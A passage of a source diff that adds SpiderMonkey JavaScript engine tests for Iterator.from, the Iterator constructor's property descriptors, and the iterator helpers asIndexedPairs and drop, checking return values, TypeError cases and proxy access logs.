+++ b/js/src/tests/non262/Iterator/from/Iterator.from-length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.from.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.from, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/Iterator.from-name.js b/js/src/tests/non262/Iterator/from/Iterator.from-name.js
new file mode 100644
index 0000000000..6f48d3e891
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/Iterator.from-name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.from.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.from, 'name');
+assertEq(propDesc.value, 'from');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/call-from-with-different-this.js b/js/src/tests/non262/Iterator/from/call-from-with-different-this.js
new file mode 100644
index 0000000000..90328d117d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/call-from-with-different-this.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({done: false, value: 0}),
+};
+const wrap = Iterator.from.call(undefined, iter);
+
+const result = wrap.next();
+assertEq(result.done, false);
+assertEq(result.value, 0);
+
+const returnResult = wrap.return(1);
+assertEq(returnResult.done, true);
+assertEq(returnResult.value, 1);
+
+assertThrowsInstanceOf(() => wrap.throw(new Error()), Error);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js b/js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js
new file mode 100644
index 0000000000..a7c98f9e2a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from throws when called with an object with a non-callable @@iterator property.
+---*/
+
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: 0 }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: false }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: "" }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: {} }), TypeError);
+assertThrowsInstanceOf(() => Iterator.from({ [Symbol.iterator]: Symbol('') }), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/modify-next.js b/js/src/tests/non262/Iterator/from/modify-next.js
new file mode 100644
index 0000000000..d347abd2cd
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/modify-next.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({ done: false, value: 0 }),
+};
+
+const wrap = Iterator.from(iter);
+
+iter.next = () => ({ done: true, value: undefined });
+
+let {done, value} = wrap.next();
+assertEq(done, false);
+assertEq(value, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/modify-return.js b/js/src/tests/non262/Iterator/from/modify-return.js
new file mode 100644
index 0000000000..733eec69d7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/modify-return.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({ done: false, value: 0 }),
+ return: (value) => ({ done: true, value }),
+};
+
+const wrap = Iterator.from(iter);
+
+let {done, value} = wrap.return(1);
+assertEq(done, true);
+assertEq(value, 1);
+
+iter.return = () => { throw new Error(); };
+assertThrowsInstanceOf(wrap.return, Error);
+
+iter.return = null;
+let nullResult = wrap.return(2);
+assertEq(nullResult.done, true);
+assertEq(nullResult.value, 2);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/modify-throw.js b/js/src/tests/non262/Iterator/from/modify-throw.js
new file mode 100644
index 0000000000..0db7cf6f61
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/modify-throw.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = {
+ next: () => ({ done: false, value: 0 }),
+ throw: (value) => ({ done: true, value }),
+};
+
+const wrap = Iterator.from(iter);
+
+let {done, value} = wrap.throw(0);
+assertEq(done, true);
+assertEq(value, 0);
+
+class TestError extends Error {}
+iter.throw = () => { throw new TestError(); };
+assertThrowsInstanceOf(() => wrap.throw(), TestError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/o-not-object-throws.js b/js/src/tests/non262/Iterator/from/o-not-object-throws.js
new file mode 100644
index 0000000000..3e6c00e59a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/o-not-object-throws.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from throws when called with a non-object.
+---*/
+
+assertThrowsInstanceOf(() => Iterator.from(undefined), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(null), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(0), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(false), TypeError);
+assertThrowsInstanceOf(() => Iterator.from(Symbol('')), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-not-wrapped.js b/js/src/tests/non262/Iterator/from/proxy-not-wrapped.js
new file mode 100644
index 0000000000..df38e0fc86
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-not-wrapped.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return (...args) => new Proxy(item.apply(receiver, args), handlerProxy);
+ return item;
+ },
+});
+
+class Iter extends Iterator {
+ [Symbol.iterator]() {
+ return this;
+ }
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+const iter = new Iter();
+const proxy = new Proxy(iter, handlerProxy);
+const wrap = Iterator.from(proxy);
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next
+getPrototypeOf: undefined`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-wrap-next.js b/js/src/tests/non262/Iterator/from/proxy-wrap-next.js
new file mode 100644
index 0000000000..7630535402
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-wrap-next.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1].toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return item.bind(receiver);
+ return item;
+ },
+});
+const iter = new Proxy({
+ next: () => ({ done: false, value: 0 }),
+}, handlerProxy);
+
+const wrap = Iterator.from(iter);
+// Call next multiple times. Should not call `get` on proxy.
+wrap.next();
+wrap.next();
+wrap.next();
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-wrap-return.js b/js/src/tests/non262/Iterator/from/proxy-wrap-return.js
new file mode 100644
index 0000000000..34caeb2176
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-wrap-return.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1].toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return item.bind(receiver);
+ return item;
+ },
+});
+const iter = new Proxy({
+ next: () => ({ done: false, value: 0 }),
+ return: (value) => ({ done: true, value }),
+}, handlerProxy);
+
+const wrap = Iterator.from(iter);
+wrap.return();
+wrap.return();
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next
+get: return
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/proxy-wrap-throw.js b/js/src/tests/non262/Iterator/from/proxy-wrap-throw.js
new file mode 100644
index 0000000000..92a51f4a26
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/proxy-wrap-throw.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1].toString()}`);
+
+ const item = Reflect[key](...args);
+ if (typeof item === 'function')
+ return item.bind(receiver);
+ return item;
+ },
+});
+const iter = new Proxy({
+ next: () => ({ done: false, value: 0 }),
+ throw: (value) => ({ done: true, value }),
+}, handlerProxy);
+
+const wrap = Iterator.from(iter);
+wrap.throw();
+wrap.throw();
+
+assertEq(
+ log.join('\n'),
+ `get: Symbol(Symbol.iterator)
+get: next
+get: throw
+get: throw`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js b/js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js
new file mode 100644
index 0000000000..e83e25185d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from returns O if it is iterable, an iterator, and an instance of Iterator.
+---*/
+
+class TestIterator extends Iterator {
+ [Symbol.iterator]() {
+ return this;
+ }
+
+ next() {
+ return { done: false, value: this.value++ };
+ }
+
+ value = 0;
+}
+
+const iter = new TestIterator();
+assertEq(iter, Iterator.from(iter));
+
+const arrayIter = [1, 2, 3][Symbol.iterator]();
+assertEq(arrayIter, Iterator.from(arrayIter));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js
new file mode 100644
index 0000000000..09b974f327
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from returns an iterator wrapper if O is not an iterable.
+---*/
+
+class TestIterator {
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new TestIterator();
+assertEq(
+ Symbol.iterator in iter,
+ false,
+ 'iter is not an iterable.'
+);
+
+const wrapper = Iterator.from(iter);
+assertEq(iter !== wrapper, true);
+assertEq(
+ Symbol.iterator in wrapper,
+ true,
+ 'wrapper is an iterable.'
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js
new file mode 100644
index 0000000000..4045801277
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator.from returns an iterator wrapper if O is not an instance of Iterator.
+---*/
+
+class TestIterator {
+ [Symbol.iterator]() {
+ return this;
+ }
+
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new TestIterator();
+assertEq(iter instanceof Iterator, false);
+
+const wrapper = Iterator.from(iter);
+assertEq(iter !== wrapper, true);
+assertEq(wrapper instanceof Iterator, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js b/js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js
new file mode 100644
index 0000000000..186e4e62d0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestError extends Error {}
+
+function checkIterResult({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(value, expectedValue);
+}
+
+const iter = {
+ next(value) {
+ return {done: false, value: arguments.length};
+ },
+ return() {
+ throw new TestError();
+ },
+ throw: (value) => ({done: true, value}),
+};
+const thisWrap = Iterator.from(iter);
+const otherGlobal = newGlobal({newCompartment: true});
+const otherWrap = otherGlobal.Iterator.from(iter);
+
+checkIterResult(thisWrap.next.call(otherWrap), false, 0);
+checkIterResult(thisWrap.next.call(otherWrap, 'value'), false, 1);
+
+assertThrowsInstanceOf(thisWrap.return.bind(otherWrap), TestError);
+
+checkIterResult(thisWrap.throw.call(otherWrap, 'value'), true, 'value');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js b/js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js
new file mode 100644
index 0000000000..7ff8539923
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+// All methods on %WrapForValidIteratorPrototype% require an [[Iterated]]
+// internal slot on the `this` object.
+
+class TestIterator {
+ next() {
+ return {
+ done: false,
+ value: 0,
+ };
+ }
+}
+
+const nextMethod = Iterator.from(new TestIterator()).next;
+assertThrowsInstanceOf(() => nextMethod.call(undefined), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(null), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(0), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(false), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call('test'), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call(Object(1)), TypeError);
+assertThrowsInstanceOf(() => nextMethod.call({}), TypeError);
+
+const returnMethod = Iterator.from(new TestIterator()).next;
+assertThrowsInstanceOf(() => returnMethod.call(undefined), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(null), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(0), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(false), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call('test'), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call(Object(1)), TypeError);
+assertThrowsInstanceOf(() => returnMethod.call({}), TypeError);
+
+const throwMethod = Iterator.from(new TestIterator()).next;
+assertThrowsInstanceOf(() => throwMethod.call(undefined), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(null), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(0), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(false), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call('test'), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call(Object(1)), TypeError);
+assertThrowsInstanceOf(() => throwMethod.call({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-new-global.js b/js/src/tests/non262/Iterator/from/wrap-new-global.js
new file mode 100644
index 0000000000..a9a26b41b0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-new-global.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const otherGlobal = newGlobal({newCompartment: true});
+
+const iter = [1, 2, 3].values();
+assertEq(iter, Iterator.from(iter));
+assertEq(iter !== otherGlobal.Iterator.from(iter), true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js b/js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js
new file mode 100644
index 0000000000..095ddd692a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+class Iter {
+ next(value) {
+ this.v = value;
+ return { done: false, value };
+ }
+}
+
+const iter = new Iter();
+const wrap = Iterator.from(iter);
+assertEq(iter !== wrap, true);
+
+assertEq(iter.v, undefined);
+wrap.next(1);
+assertEq(iter.v, 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js b/js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js
new file mode 100644
index 0000000000..0e5b559f3b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const iter = (value) => Iterator.from({
+ next: () => value,
+});
+
+assertThrowsInstanceOf(() => iter(undefined).next(), TypeError);
+assertThrowsInstanceOf(() => iter(null).next(), TypeError);
+assertThrowsInstanceOf(() => iter(0).next(), TypeError);
+assertThrowsInstanceOf(() => iter(false).next(), TypeError);
+assertThrowsInstanceOf(() => iter('test').next(), TypeError);
+assertThrowsInstanceOf(() => iter(Symbol('')).next(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js b/js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js
new file mode 100644
index 0000000000..22518871f3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+class Iter {
+ next() {
+ if (this.closed)
+ return { done: true, value: undefined };
+ return { done: false, value: 0 };
+ }
+
+ return(value) {
+ this.closed = true;
+ return { done: true, value };
+ }
+}
+
+const iter = new Iter();
+const wrap = Iterator.from(iter);
+assertEq(iter.closed, undefined);
+
+let result = wrap.next();
+assertEq(result.done, false);
+assertEq(result.value, 0);
+
+result = wrap.return(1);
+assertEq(result.done, true);
+assertEq(result.value, 1);
+
+assertEq(iter.closed, true);
+result = wrap.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/wrap-throw.js b/js/src/tests/non262/Iterator/from/wrap-throw.js
new file mode 100644
index 0000000000..ffe17c80e8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/wrap-throw.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+class Iter {
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new Iter();
+const wrap = Iterator.from(iter);
+
+assertThrowsInstanceOf(() => wrap.throw(new Error()), Error);
+assertThrows(() => wrap.throw());
+assertThrows(() => wrap.throw(1));
+
+class IterThrowNull {
+ next() {
+ return { done: false, value: 0 };
+ }
+ throw = null;
+}
+
+const iterNull = new IterThrowNull();
+const wrapNull = Iterator.from(iter);
+
+assertThrowsInstanceOf(() => wrapNull.throw(new Error()), Error);
+assertThrows(() => wrapNull.throw());
+assertThrows(() => wrapNull.throw(1));
+
+class IterWithThrow {
+ next() {
+ return { done: false, value: 0 };
+ }
+
+ throw(value) {
+ return value;
+ }
+}
+
+const iterWithThrow = new IterWithThrow();
+const wrapWithThrow = Iterator.from(iterWithThrow);
+
+assertEq(wrapWithThrow.throw(1), 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/iterator.js b/js/src/tests/non262/Iterator/iterator.js
new file mode 100644
index 0000000000..ad48fc2061
--- /dev/null
+++ b/js/src/tests/non262/Iterator/iterator.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Property descriptor of Iterator.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(this, 'Iterator');
+assertEq(propDesc.value, Iterator);
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/length.js b/js/src/tests/non262/Iterator/length.js
new file mode 100644
index 0000000000..07d1e4f804
--- /dev/null
+++ b/js/src/tests/non262/Iterator/length.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The "length" property of Iterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/name.js b/js/src/tests/non262/Iterator/name.js
new file mode 100644
index 0000000000..c11e570228
--- /dev/null
+++ b/js/src/tests/non262/Iterator/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The "name" property of Iterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'name');
+assertEq(propDesc.value, 'Iterator');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/proto.js b/js/src/tests/non262/Iterator/proto.js
new file mode 100644
index 0000000000..2ab92641e7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/proto.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The prototype of the Iterator constructor is the intrinsic object %FunctionPrototype%.
+---*/
+
+assertEq(Object.getPrototypeOf(Iterator), Function.prototype);
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'prototype');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, false);
+
+// Make sure @@toStringTag hasn't been set.
+assertEq(Symbol.toStringTag in propDesc.value, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js
new file mode 100644
index 0000000000..42dfb6aaca
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let iter = [1, 2, 3].values().asIndexedPairs();
+
+for (const v of [[0, 1], [1, 2], [2, 3]]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value[0], v[0]);
+ assertEq(result.value[1], v[1]);
+}
+
+assertEq(iter.next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js
new file mode 100644
index 0000000000..4ec7ce238c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.asIndexedPairs length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.asIndexedPairs.length, 0);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.asIndexedPairs, 'length');
+assertEq(propertyDescriptor.value, 0);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js
new file mode 100644
index 0000000000..74d31d7905
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.asIndexedPairs.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.asIndexedPairs.name, 'asIndexedPairs');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.asIndexedPairs, 'name');
+assertEq(propertyDescriptor.value, 'asIndexedPairs');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js b/js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js
new file mode 100644
index 0000000000..230ebb8faf
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.drop returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.5.5
+ 1. Repeat, while remaining > 0,
+ ...
+ b. Let next be ? IteratorStep(iterated).
+ c. If next is false, return undefined.
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2].values().drop(3);
+let result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+class TestIterator extends Iterator {
+ counter = 0;
+ next() {
+ return {done: ++this.counter >= 2, value: undefined};
+ }
+}
+
+iter = new TestIterator();
+let dropped = iter.drop(10);
+result = dropped.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+assertEq(iter.counter, 2);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/drop.js b/js/src/tests/non262/Iterator/prototype/drop/drop.js
new file mode 100644
index 0000000000..2bacd45196
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/drop.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: Smoketest of %Iterator.prototype%.drop.
+info: >
+ Iterator Helpers proposal 2.1.5.5
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2, 3].values().drop(1);
+
+for (const v of [2, 3]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+
+assertEq(iter.next().done, true);
+
+// `drop`, when called without arguments, has a limit of undefined,
+// which converts to 0.
+assertEq(['test'].values().drop().next().value, 'test');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/length.js b/js/src/tests/non262/Iterator/prototype/drop/length.js
new file mode 100644
index 0000000000..d7dbcefcc5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/drop/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.drop length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.drop.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.drop, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/drop/name.js b/js/src/tests/non262/Iterator/prototype/drop/name.js
